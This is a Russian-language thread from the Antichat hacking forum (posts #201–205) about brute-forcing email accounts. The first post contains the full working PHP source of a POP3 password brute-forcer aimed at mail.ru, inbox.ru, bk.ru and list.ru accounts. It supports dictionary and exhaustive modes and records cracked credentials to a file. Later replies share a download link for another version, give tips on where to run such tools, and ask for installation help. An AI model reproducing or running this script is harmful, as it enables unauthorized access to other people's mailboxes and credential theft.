ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > E-Mail
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #201  
Старый 31.12.2008, 06:33
Аватар для or1
or1
Banned
Регистрация: 07.09.2008
Сообщений: 48
Провел на форуме:
127764

Репутация: -1
По умолчанию

Цитата:
Сообщение от Hs_Mx  
че там вооще писать?)


ребята скиньте плз сылку на этот скрипт каторый вы обсуждали все время, а то все сылки битые,
хочу посмотреть и исправить,можете пока этот посмотреть как он...
PHP код:
<html> 
<head> 
<title>MailBrute By Joker-jar</title> 
<meta http-equiv=Content-Type content="text/html; charset=windows-1251"> 
</head> 
<body> 

<? 

set_time_limit
(0); 
ignore_user_abort(1); 
error_reporting(0); 

$servers = Array( 
"mail" => "pop3.mail.ru"
"inbox" => "pop3.inbox.ru"
"bk" => "pop3.bk.ru"
"list" => "pop3.list.ru"
); 

$pop3port 110

$passfile "pass.txt"
$good "good.txt"
$bad "bad.txt"

function 
CheckPass($pop3server$username$pass

global 
$pop3port
$fp fsockopen($pop3server$pop3port$errno$errstr30); 
if (!
$fp
return 
false
$buf fgets($fp128); 
if (
$buf[0] != "+"

fclose($fp); 
return 
false

fputs($fp,"user ".$username."\r\n"); 
$buf fgets($fp128); 
if (
$buf[0] != "+"

fclose($fp); 
return 
false

fputs($fp,"pass ".$pass."\r\n"); 
$buf fgets($fp128); 
if (
strlen($buf) > && $buf[0] == "+"

fclose($fp); 
return 
true

fclose($fp); 
return 
false


function 
genstr($l$alf

$result ""
for (
$i=0;$i<$l;$i++) 
$result .= $alf[0]; 
return 
$result


function 
nextpass($p$alf

for (
$i=0;$i<strlen($p);$i++) 

if (
strpos($alf,$p[$i]) == strlen($alf)-1

$p[$i] = $alf[0]; 

else 

$p[$i] = $alf[strpos($alf,$p[$i])+1]; 
return 
$p


$p .= $alf[0]; 
return 
$p


if (isset(
$_POST["name"])) 

if (
$_POST["name"] === ""

echo 
"Отсутствует имя</body></html>"
exit; 

if (!isset(
$servers[$_POST["popserver"]])) 

echo 
"Неправильно задан pop3 сервер</body></html>"
exit; 

settype($_POST["minl"],"int"); 
settype($_POST["maxl"],"int"); 
if (
$_POST["minl"] == || $_POST["maxl"] == || $_POST["maxl"] - $_POST["minl"] < 0

echo 
"Ошибка в параметрах длины пароля</body></html>"
exit; 

if (
$_POST["dict"] !== "yes" && $_POST["alf"] === ""

echo 
"Алфавит пуст</body></html>"
exit; 

if (
$_POST["dict"] === "yes" && (!file_exists($passfile) || filesize($passfile) == 0)) 

echo 
"Файл $passfile пуст или отсутствует</body></html>"
exit; 

if (
$_POST["dict"] !== "yes"

//Полный перебор 
$startpass genstr($_POST["minl"],$_POST["alf"]); 
$endpass genstr($_POST["maxl"]+1,$_POST["alf"]); 
$curpass $startpass
while (
$curpass != $endpass

if (
CheckPass($servers[$_POST["popserver"]], $_POST["name"], $curpass)) 

$f fopen($good'ab'); 
fwrite($f$_POST["name"]." : ".$curpass."\r\n"); 
fclose($f); 
exit; 

else 

$f fopen($bad'ab'); 
fwrite($f$_POST["name"]." : ".$curpass."\r\n"); 
fclose($f); 

$curpass nextpass($curpass,$_POST["alf"]); 


else 

//Атака по словарю 
$passes file($passfile); 
for(
$i=0$i<count($passes);$i++) 

$curpass trim($passes[$i]); 
if (
CheckPass($servers[$_POST["popserver"]], $_POST["name"], $curpass)) 

$f fopen($good'ab'); 
fwrite($f$_POST["name"]." : ".$curpass."\r\n"); 
fclose($f); 
exit; 

else 

$f fopen($bad'ab'); 
fwrite($f$_POST["name"]." : ".$curpass."\r\n"); 
fclose($f); 




?> 

<fieldset style="width: 500"> 
<legend>Параметры брута</legend> 
<form method="POST"> 
<table border="0"> 
<tr><td> 
<input type="text" name="name" style="width: 100"> 
</td><td>@ 
<select name="popserver" style="width: 100"> 
<option value="mail" selected>mail.ru 
<option value="inbox">inbox.ru 
<option value="bk">bk.ru 
<option value="list">list.ru 
</select> 
</td></tr> 
<tr><td colspan="2"><br> 
<input type="radio" name=dict value="yes" checked>Атака по словарю pass.txt<br> 
<input type="radio" name=dict value="no">Атака полным перебором 
</td></tr> 
<tr><td style="text-align: right"> 
алфавит: 
</td><td> 
<input type="text" name="alf" style="width: 200" value="abcdefghijklmnopqrstuvwxyz"> 
</td></tr> 
<tr><td style="text-align: right"> 
мин длина: 
</td><td> 
<input type="text" name="minl" style="width: 50" value="1"> 
</td></tr> 
<tr><td style="text-align: right"> 
макс длина: 
</td><td> 
<input type="text" name="maxl" style="width: 50" value="5"> 
</td></tr> 
<tr><td colspan="2"> 
<br> 
<input type="submit" value="Начать брут и идти спать"> 
</td></tr> 
</table> 
</form> 
</fieldset> 
</body> 
</html>

PHP код:
set_time_limit(0); 
<----без него лутче
 
Ответить с цитированием

  #202  
Старый 31.12.2008, 19:10
Аватар для siqver
siqver
Новичок
Регистрация: 30.12.2008
Сообщений: 1
Провел на форуме:
4808

Репутация: 0
По умолчанию

Цитата:
ребята скиньте плз сылку на этот скрипт каторый вы обсуждали все время, а то все сылки битые,
хочу посмотреть и исправить,можете пока этот посмотреть как он...
этот, вроде:
http://slil.ru/25303831
 
Ответить с цитированием

  #203  
Старый 14.02.2009, 13:34
Аватар для Gaus
Gaus
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275

Репутация: 127
По умолчанию

имхо на бесплатных хостингах бруты и т.п. лучше незапускать,мороки будет много да и пропускать гуды будет...
 
Ответить с цитированием

  #204  
Старый 13.11.2009, 13:34
Аватар для Tigresa
Tigresa
Новичок
Регистрация: 13.11.2009
Сообщений: 1
Провел на форуме:
568

Репутация: 0
По умолчанию

Ребята, обясните мне как установить этот скрипт. Я совсем новичок в мира PHP. Я установил скриптб не знаю можеть не установиль но он не работает...Помогите пожайлуста.
На какои линю я должен написать мой эмейл?
 
Ответить с цитированием

  #205  
Старый 22.11.2009, 20:27
Аватар для maxim_bo
maxim_bo
Новичок
Регистрация: 11.08.2008
Сообщений: 10
Провел на форуме:
25262

Репутация: -5
По умолчанию

После залития скрипта на хост по фтп во время залития обрывается связь и больше не пускает на хост ни по фтп ни в админку, хост блокируется...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Books PHP FRAGNATIC PHP, PERL, MySQL, JavaScript 186 21.02.2010 02:41
Безопасность в Php, Часть Iii k00p3r Чужие Статьи 0 11.07.2005 19:02
Защищаем Php. Шаг за шагом. k00p3r Чужие Статьи 0 13.06.2005 11:31



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ